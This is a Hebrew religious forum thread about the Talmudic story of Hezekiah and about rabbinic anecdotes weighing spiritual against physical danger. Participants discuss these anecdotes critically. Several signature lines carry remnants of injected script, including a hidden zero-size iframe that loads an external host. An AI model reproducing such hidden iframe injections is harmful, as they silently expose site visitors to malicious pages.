מעשה נורא בחירש והיתר מופלא עוד יותר

באשר לדעתו של החזו"א ראה בד"ה לא נגעתי

המשפט הראשון הוא "בהדי כבשי דרחמנא למה לך"

מייד לאחריו בא המשפט השני "מאי דמיפקדת איבעי לך למיעבד"
כלומר שהמצווה חלה בכל זאת
אלא שחזקיה סבר שכהוראת שעה מותר לו להימנע
וטעה כי הוראת שעה לא די שידע בנבואה על איזה עניין, אלא צריך שההוראת שעה בעצמה תינתן בנבואה, וכאן לא קיבל בנבואה את הוראת השעה עצמה אלא רק את הידע לגבי בנו, 

ולכן הוסיף ישעיה ואמר לו משפט שלישי "ומה דניחא קמיה דקודשא בריך הוא ליעביד"
כלומר, לפי דעתי, שהואיל והקב"ה הוא הבורא את האדם, והוא הנופח רוח ונשמה בסופו של דבר באדם, ממילא מוכרח שהאדם הוא ביסודו טוב, וממילא כל מה שיקרה הכל לטובה, ואל לו לחשוש בעניין בנו, לכן מאי דמיפקדת ודאי אתה צריך לעשות, בלי הוראות שעה, אלא אם כן יאמרו לך במפורש אחרת.

תוקן על ידי אליקים7241 ב- 21/01/2018 13:05:28

ת"ט

תודה. זה מדהים.

אני מעתיק ומקצר. יש כאן שני סיפורים והשני חריף מן הראשון:

תלמיד של הרב דוד בלוך במדרשיה בכיתה יב תיכנן להמשיך לעתודה אקדמית ולשרת בתור מהנדס בצבא. הרב בלוך שיער שיוכל לשכנעו לשרת בהסדר. אבל בעתודה היה חשש שיתקלקל ויהיה חילוני (שימו לב למונח הטעון "יתקלקל" שנראה לנו, לי הכותב ודומה שלכולנו, מוצדק) ואילו בהסדר היה עלול להיפגע, אולי לההרג. הרב בלוך לא רצה את מותו על מצפונו. הלך להתייעץ עם הרב חיים גריינמן.

ענה הרב "במשפט קצר":

"מוטב ימות הסדרניק מאשר יחיה חיים ארוכים כחילוני".

והרב גריינמן הוסיף סיפור משלו מבית החזו"א:

אמא "שבורת לב" באה לבקש מהחזו"א שיתפלל על בנה החולה במחלה מסוכנת. החזו"א, שלא כדרכו, לא שאל לשמו של הילד כדי לצרפו לרשימת השמות שהעתיר בעדם תפילה.הסתפק בעידוד ובמילות נחמה.

(הביטוי "העתיר" נשמע ספרותי מדי. מי השתמש בו והאם זה מעיד שהסיפור נוסח מחדש ואם כן האם הוא עדיין מדוייק?)

הרב גריינמן שאל את החזו"א והוא הסביר:

"אני מכיר את הנער החולה. ספרי מינים נושרים כבר מחיקו. מוטב ימות זכאי ואל ימות חייב".

אמנם כדי שלא נגיע למסקנות לא נכונות, כמו בנושא שהובא בפתיחת האשכול, החזו"א הוסיף:

"כמובן לחלל עליו שבת להצילו ממוות חייבים אנו כמו לכל יהודי אחר, אך להתפלל עליו ולבקש רחמים לנס זה משהו אחר".

ועל זה מסכם הרב בלוך, כדרכו בסיפוריו:

לא נגעתי, מה דעתכם?

הרב דוד בלוך הוא אדם יוצא דופן, והייתי מגדירו בתור "חרדי של פעם". התורה היא עיקר לגביו . עכשו, כשעיינתי הלאה בדף שלו, הוא עצמו גם מגדיר את המאפיינים החרדיים שלו וגם עוסק בשאלה שמוטב לתת לה אשכול משלה: דינו של מי שכופר באמונות החרדיות הרגילות. הוא טוען, בשם הרב פוזן כמדומה, שיש להרחיקו חברתית ומכאן משתמע שזו שאלה חברתית. אבל לא עיינתי ורק ציינתי מראה מקום. אם אוכל, אפתח אשכול. על השאלה ועל הרב דוד בלוך, אדם מרתק!

והיכן משיגים את העותקים של "נטפי שפיות" שלו הקודמים? נרשמתי אבל אני מקבל רק לעתים מזומנות. ואולי זה לא יוצא כל שבוע?

לגבי העדות שלו על הרב גריינמן ועל עדות הרב גריינמן על החזו"א, יש כאן כמה שיקולים שהופכים את העדות לאמינה. למשל, היותו נאמן להיסטוריה יותר מאשר לקישוט דמויות הגדולים. עם זאת, בסיפור יש כמה ביטויים שנראים ספרותיים.

שאלה ביוגרפית, שאולי יש להפנות אל פרופסור בני בראון: האם היו מגיעים אל החזו"א לבקש ממנו ברכות?

המעשים דלעיל, כולל חומר נוסף שמובא ב"נטפי שפיות", מעלים את השאלה הראויה לאשכול: עד כמה חריגה מן התלם מהווה סטיה שהופכת את האדם ל"חייב" עד כדי שמוטב היה לו שימות כרגע "זכאי" ואל יגיע להיות חייב. האם המקום לדיון הוא כאן באשכול? במחשבה שניה, אולי כן. הכל מצטרף יחד לשאלה מתי מצילים.

כתבתי לפרופסור בני בראון ואולי ימצא זמן לענות.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

חברנו נתי רובין (הרב נתנאל שליט"א) העיר על הסיפור התלמודי על חזקיה שלא יתכן שאפשר היה לדעת אם בנו יצא רשע או לא כי זה שולל את הבחירה החופשית. והרי הוא מומחה בתחום כפי שמעיד הדוקטורט שלו.

יש לענות על זה בשתי הערות:

האם ידיעת העתיד שוללת בחירה חופשית? אולי לא. כמובן, העתיד פתוח והבחירה נתונה, אבל אדם עדיין עשוי לטעון שהוא יודע מה ירצה הבוחר בעתיד. כמובן, פירסום ה"נבואה" או הידיעה העתידית יוצר פרדוקס. אם הבוחר ידע על מה שמצפים ממנו, אולי הוא ירצה לעשות דווקא ולשנות. אבל יתכן שהוא ידע עליה ועדיין ימשיך בדרך שבה בחר.

המעמד האונטולוגי והמעמד הלוגי שיש לייחס לאמירות על העתיד הוא ייחודי ושונה כנראה מן המעמד שיש לייחס לאמירות על העבר או אמירות מדעיות. אבל זה לא מחייב שאי אפשר להשמיע הצהרה לגבי העתיד ולקבוע בוודאות, עד כמה שניתן לנו, שיהיה כך ולא אחרת. דומה שכדי להרחיב דברים צריך מבוא קצר מן הפילוסופיה.

_שכחתי לציין איקונים ירוקים לשמח-בחור ולשאר החברים, כמו תט ואליקים וכולם, שעוררו אותי לכל מה שעיינתי וכתבתי________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

ואשר לסיפור מן התלמוד, יש  לי קריאה משלי בסיפור. ואציג אותה כאן כי סבורני שהיא מוליכה למסקנות שונות ממה שהוסק ממנה או לפחות פותחת שער לפרשנויות אחרות.

האם חז"ל התכוונו לספר לנו סיפור היסטורי? האם המעשה הזה מבוסס על מסורת או שהוא אמיתי כי חז"ל דייקו אותו משיקולים שונים, שאציע לקמן, או מפני שהיתה להם רוח הקודש? אני מניח שיש כאלו שיענו בחיוב, כלומר שזה סיפור היסטורי. ולא עוד, אלא מי שיחלוק או אפילו יטיל בדבר ספק הוא אפיקורס. אולי גם החזו"א היה סובר כך? או שהיה סובר שמבחינה חברתית אין להביע ספקנות בהבנה ההיסטורית של הסיפור? ומה היה אומר הרב דוד בלוך?

אני, עם זאת, סבור שאין כאן שום יומרה היסטורית של חז"ל. אני סבור שאותו חכם שסיפר את הסיפור יצר אותו, גם מתוך ההבנה שלא יטעו לחשוב שזו היסטוריה (אם כי  אולי חשב שזה אפשרי שהוא קולע לאמת). וזה מה שרצה להשיג: מסרים ותירוץ לקושיות.

וזה בכמה רמות ותחומים.

א. כיצד היה לחזקיה, מגדולי המלכים הצדיקים, בן כל כך רשע?

ההימנעות לכאורה של חזקיה מהולדת הבן הזה עד כדי סיכון של חייו ובלבד לא להוליד את מנשה מתרצת חלק מן הקושי. חזקיה אכן ידע מה שיקרה ואכן היה מוכן למסור נפשו ולא להוליד ילד כמו מנשה.

ב. הסיפור נאחז עד כמה שנראה באירוע היסטורי של מחלתו של חזקיה, הסיפור התלמודי מספק לנו רקע נחוץ לפחות מבחינת הגמול. הרי אין מחלה בלא עונש, אז למה היה חזקיה אמור לחלות?

לקמן אעתיק את הסיפור כי הוא קצר, וסבורני שהוא מרגש מאד מצד עצמו גם בלי הפרשנות שחזקיה נענש.

ג. אם אין סבל ומחלה בלא עוון, אז צריך לספק הסבר לחטא שחטא חזקיה, והפרשנות שמוצעת בסיפור התלמודי היא שהחטא שלו נעשה על כורחו ולשם שמים. זה מסיר מעל חזקיה כתם שהיינו עלולים לייחס לו.

ד. הסיפור התלמודי מוסיף על הסיפור בתנ"ך מה שכבר נמצא בסיפור המקורי. הרעיון שבשעת צרה אדם יכול להתפלל ולהיענות וייעשה לו נס.

בשורה אחת: המספר, רב המנונא, מקשט את הסיפור בתנ"ך ומשלים פרטים שלא נמצאים בו ומתוך כך הוא מייפה עוד יותר את דמותו של חזקיהו.

בראשית הסיפור מופיע גם הרעיון שה' גורם לשנים להיפגש כאשר כל אחד סבור שזה מתחת לכבודו לבוא אל השני. (מזכיר את הפרשנות התלמודית לשאלה מדוע יפתח ופנחס, שכביכול חי עד אז, לא נפגשו כדי להתיר את נדרו של יפתח להרוג את בתו, ששם זה היה מחמת גאווה של שניהם). יתכן שהסיפור בא כדי להמחיש את הרעיון הזה, ואין זה רחוק בעיני לשער שהמספר יספר כזה סיפור כדי למתוח ביקורת על בני דורו, על איזו מחלוקת בין חשובי האומה שלא נפתרה בגלל שלא נפגשו לשיחה אישית. ואולי זה רמז שעדיף להיפגש ולדבר כדי שהקב"ה לא יכפה עליהם לעשות זאת באמצעים לא נעימים. לדעתי מצאנו כאלו דרשות וכאלו מעשים ויש דוגמאות לכך בימי רבי יוחנן על התנגשויות בין הנשיא (רבי יהודה נשיאה במיוחד, כמדומה) והאמוראים.

אמנם גם אם הסיפור הוא מומצא, יש בו הנחות יסוד שמהן ניתן לדייק, ואכן דייקו מהן באשכול שלנו, כפי החל בדבר זה אליקים שלנו (ואיקון ירוק לו).

והשאלה שיש לנו לשאול היא: כאשר חז"ל מספרים סיפור, כמו פה, והסיפור מבוסס גם על הנחות שנראות נגד עקרונות חשובים, האם אפשר להסתמך על דיוק העקרונות ולומר שזו היתה דעתם? או שמא זה המחיר של המצאת סיפור שפותר קושי במקום אחד וגורר קשיים מסוג אחר, ואפשר לומר שהמספר סמך על כך שלא נטעה אחריו?

זו שאלה שקשה להכריע בה. הרי אנו, גם אני בעצמי, מסתמך על דיוקים כאלו כדי לומר שגם אם הסיפור לא נכון, הדיוק משקף את דעת המחבר ולפעמים את עצם כוונתו.

לגבי הדיוקים של כאן:


בהמשך להערתו דלעיל של נתי (הרב נתנאל שליט"א), יש לשאול: מי שהוליד בן רשע מרושע כמו מנשה, האם קיים מצות "פרו ורבו"?

זה מעניין, מפני שמצוה זו, "פרו ורבו", היא מצוה שמוגדרת על פי הצלחת המוליד, כי מי שהוליד ומתו ילדיו בלי זרע בחייו הרי זה לא קיים. ויעויין במנחת חינוך על מצוה זו.

לגבי זרע רע, יש לנו מחלוקת לגבי העברת הירושה מהבן הרע לבן הטוב, מהבכור הרע לבן אחר, וגם אם יש כאלו שסברו שמן הראוי לעשות זאת, אחרים סברו שיש להשאיר את הירושה כפי שהיא. ולא נתבאר לנו אם זה מפני שסברו שמצוה דאורייתא של ירושה חשובה יותר או מפני שהבן הרע יכול להשתנות, או מפני שיהיה לו בתורו זרע צדיק.

מראי מקומות:

לאי העברת ירושה כולל עקיפת רצונו של המוריש: ב"ב קלד במעשה שבו ניצח יונתן בן עוזיאל את שמאי.

המעשה של רב המנונא על חזקיה וישעיה: ברכות י א.

המעשה בתנ"ך על מחלת חזקיה וביקור ישעיה הנביא מופיע פעמיים:

ישעיהו לח, מלכים ב כ.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

מלכים ב פרק כ
(א) בַּיָּמִים הָהֵם חָלָה חִזְקִיָּהוּ לָמוּת וַיָּבֹא אֵלָיו יְשַׁעְיָהוּ בֶן אָמוֹץ הַנָּבִיא וַיֹּאמֶר אֵלָיו כֹּה אָמַר יְדֹוָד צַו לְבֵיתֶךָ כִּי מֵת אַתָּה וְלֹא תִחְיֶה:
(ב) וַיַּסֵּב אֶת פָּנָיו אֶל הַקִּיר וַיִּתְפַּלֵּל אֶל יְדֹוָד לֵאמֹר:
(ג) אָנָּה יְדֹוָד זְכָר נָא אֵת אֲשֶׁר הִתְהַלַּכְתִּי לְפָנֶיךָ בֶּאֱמֶת וּבְלֵבָב שָׁלֵם וְהַטּוֹב בְּעֵינֶיךָ עָשִׂיתִי וַיֵּבְךְּ חִזְקִיָּהוּ בְּכִי גָדוֹל: ס
(ד) וַיְהִי יְשַׁעְיָהוּ לֹא יָצָא העיר חָצֵר הַתִּיכֹנָה וּדְבַר יְדֹוָד הָיָה אֵלָיו לֵאמֹר:
(ה) שׁוּב וְאָמַרְתָּ אֶל חִזְקִיָּהוּ נְגִיד עַמִּי כֹּה אָמַר יְדֹוָד אֱלֹהֵי דָּוִד אָבִיךָ שָׁמַעְתִּי אֶת תְּפִלָּתֶךָ רָאִיתִי אֶת דִּמְעָתֶךָ הִנְנִי רֹפֶא לָךְ בַּיּוֹם הַשְּׁלִישִׁי תַּעֲלֶה בֵּית יְדֹוָד:
(ו) וְהֹסַפְתִּי עַל יָמֶיךָ חֲמֵשׁ עֶשְׂרֵה שָׁנָה וּמִכַּף מֶלֶךְ אַשּׁוּר אַצִּילְךָ וְאֵת הָעִיר הַזֹּאת וְגַנּוֹתִי עַל הָעִיר הַזֹּאת לְמַעֲנִי וּלְמַעַן דָּוִד עַבְדִּי:
(ז) וַיֹּאמֶר יְשַׁעְיָהוּ קְחוּ דְּבֶלֶת תְּאֵנִים וַיִּקְחוּ וַיָּשִׂימוּ עַל הַשְּׁחִין וַיֶּחִי:
(ח) וַיֹּאמֶר חִזְקִיָּהוּ אֶל יְשַׁעְיָהוּ מָה אוֹת כִּי יִרְפָּא יְדֹוָד לִי וְעָלִיתִי בַּיּוֹם הַשְּׁלִישִׁי בֵּית יְדֹוָד:
(ט) וַיֹּאמֶר יְשַׁעְיָהוּ זֶה לְּךָ הָאוֹת מֵאֵת יְדֹוָד כִּי יַעֲשֶׂה יְדֹוָד אֶת הַדָּבָר אֲשֶׁר דִּבֵּר הָלַךְ הַצֵּל עֶשֶׂר מַעֲלוֹת אִם יָשׁוּב עֶשֶׂר מַעֲלוֹת:
(י) וַיֹּאמֶר יְחִזְקִיָּהוּ נָקֵל לַצֵּל לִנְטוֹת עֶשֶׂר מַעֲלוֹת לֹא כִי יָשׁוּב הַצֵּל אֲחֹרַנִּית עֶשֶׂר מַעֲלוֹת:
(יא) וַיִּקְרָא יְשַׁעְיָהוּ הַנָּבִיא אֶל יְדֹוָד וַיָּשֶׁב אֶת הַצֵּל בַּמַּעֲלוֹת אֲשֶׁר יָרְדָה בְּמַעֲלוֹת אָחָז אֲחֹרַנִּית עֶשֶׂר מַעֲלוֹת: פ
(יב) בָּעֵת הַהִיא שָׁלַח בְּרֹאדַךְ בַּלְאֲדָן בֶּן בַּלְאֲדָן מֶלֶךְ בָּבֶל סְפָרִים וּמִנְחָה אֶל חִזְקִיָּהוּ כִּי שָׁמַע כִּי חָלָה חִזְקִיָּהוּ:
(יג) וַיִּשְׁמַע עֲלֵיהֶם חִזְקִיָּהוּ וַיַּרְאֵם אֶת כָּל בֵּית נְכֹתֹה אֶת הַכֶּסֶף וְאֶת הַזָּהָב וְאֶת הַבְּשָׂמִים וְאֵת שֶׁמֶן הַטּוֹב וְאֵת בֵּית כֵּלָיו וְאֵת כָּל אֲשֶׁר נִמְצָא בְּאוֹצְרֹתָיו לֹא הָיָה דָבָר אֲשֶׁר לֹא הֶרְאָם חִזְקִיָּהוּ בְּבֵיתוֹ וּבְכָל מֶמְשַׁלְתּוֹ:
(יד) וַיָּבֹא יְשַׁעְיָהוּ הַנָּבִיא אֶל הַמֶּלֶךְ חִזְקִיָּהוּ וַיֹּאמֶר אֵלָיו מָה אָמְרוּ הָאֲנָשִׁים הָאֵלֶּה וּמֵאַיִן יָבֹאוּ אֵלֶיךָ וַיֹּאמֶר חִזְקִיָּהוּ מֵאֶרֶץ רְחוֹקָה בָּאוּ מִבָּבֶל:
(טו) וַיֹּאמֶר מָה רָאוּ בְּבֵיתֶךָ וַיֹּאמֶר חִזְקִיָּהוּ אֵת כָּל אֲשֶׁר בְּבֵיתִי רָאוּ לֹא הָיָה דָבָר אֲשֶׁר לֹא הִרְאִיתִם בְּאֹצְרֹתָי:
(טז) וַיֹּאמֶר יְשַׁעְיָהוּ אֶל חִזְקִיָּהוּ שְׁמַע דְּבַר יְדֹוָד:
(יז) הִנֵּה יָמִים בָּאִים וְנִשָּׂא כָּל אֲשֶׁר בְּבֵיתֶךָ וַאֲשֶׁר אָצְרוּ אֲבֹתֶיךָ עַד הַיּוֹם הַזֶּה בָּבֶלָה לֹא יִוָּתֵר דָּבָר אָמַר יְדֹוָד:
(יח) וּמִבָּנֶיךָ אֲשֶׁר יֵצְאוּ מִמְּךָ אֲשֶׁר תּוֹלִיד יקח יִקָּחוּ וְהָיוּ סָרִיסִים בְּהֵיכַל מֶלֶךְ בָּבֶל:
(יט) וַיֹּאמֶר חִזְקִיָּהוּ אֶל יְשַׁעְיָהוּ טוֹב דְּבַר יְדֹוָד אֲשֶׁר דִּבַּרְתָּ וַיֹּאמֶר הֲלוֹא אִם שָׁלוֹם וֶאֱמֶת יִהְיֶה בְיָמָי:

הגרסה ב"ישעיהו" כוללת גם את תפילתו הנפלאה של חזקיהו.

העתקתי את הסיפור כולל ההמשך בגלל הערה בסופו של חזקיה לאחר שטעה ולקח את שליחי המלך הבבלי לסיור במקדש והראה את אוצרותיו. מה שכמובן חשף את האוצרות לתאותו של הכובש הבבלי.

ישעיהו מאיים עליו:

שמחבחור

לא הבנתי את השאלה אבל אחזור על הדברים כי כנראה לא כתבתי ברור. כיון שהתחלתי אז אוסיף ואסכם את היחס בין המקורות והמסקנות.

יש לנו שני סיפורים.

א. הרב חיים גריינמן אמר לרב דוד בלוך שישכנע בחור שאינו חזק במצוות שילך להסדר למרות שהוא עלול לההרג ולא לעתודה כי שם הוא מסתכן במוות רוחני.

ב. החזו"א בירך ילד חולה אבל לא ידוע שהתפלל עבורו במיוחד. והסביר כי הילד צפוי להיות "כופר" (ברמה כלשהי שלא התבארה לנו: האם עלול להיות חילוני או שמא "רק" עלול לחשוב שסיפורי חז"ל אינם כולם היסטוריה, מה שנחשב לדעת החזו"א כידוע לאפיקורסות). החזו"א אמר: מצוה להצילו ככל חולי ישראל, אבל השתדלות מיוחדת של תפילה לא יעשה עבורו, לבקש לו נס.

אין מסר אחיד בשני הסיפורים, ולמעשה יתכן שהר"ח גריינמן החמיר לסכן את העתודיסט יותר ממה שהחזו"א היה אומר.

החזו"א אמר שצריך להציל גם מי שעלול להיות כופר או ודאי יהיה כופר כי הוא יהודי (אבל מדובר כעת. מה יהיה לאחר זמן איני יודע. לפי שיטתו במקום אחר שכולם תינוקות שנשבו אולי גם אז יש להצילו).

הרח"ג קבע שיש לפעול לשלוח בחור בסיכון רוחני להסדר כדי שיתחזק גם אם שם זו סכנה פיזית כי סכנה פיזית פחותה מסכנה רוחנית.

כלומר הרח"ג הורה לסכן את מי שעלול להתקלקל כדי להצילו.

אף אחד מן הסיפורים האלו אינו מעביר מסר דומה לזה שנמסר בשם הרב זילברשטיין. אבל יש מן המשותף לנושאים: המצב היום מול המצב העתידי, האחריות שלנו למנוע עתיד של עשיית איסורים, הסיכון או המחיר לפיו מי שזקוק לעזרה לא יתפתח כראוי, או יבוא לכלל סכנה.

האם אפשר לבנות תיאוריה עקבית לגבי רמות האחריות מול האיסור לעזור? סבורני שהרב זילברשטיין קבע רף שגוי גם בהשוואה למקורות של הרב דוד בלוך. איש מהם לא קבע שאסור לרפא מי שיעבור עבירות.

לעומת זאת, בתשובה של החת"ס מצאנו שאין לאפשר האכלת טריפות למי שאינו אסור בהן וגם אם זה לא "בידים" (כלומר מוסרים אותו למי שיעשה זאת לו במהלך ריפויו) כי אנו מניחים שטריפות מקלקלות את הנפש וזה יזיק לו גם אם במובנים אחרים יתרפא. וזה כבר דומה יותר לפסק הרב זילברשטיין.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");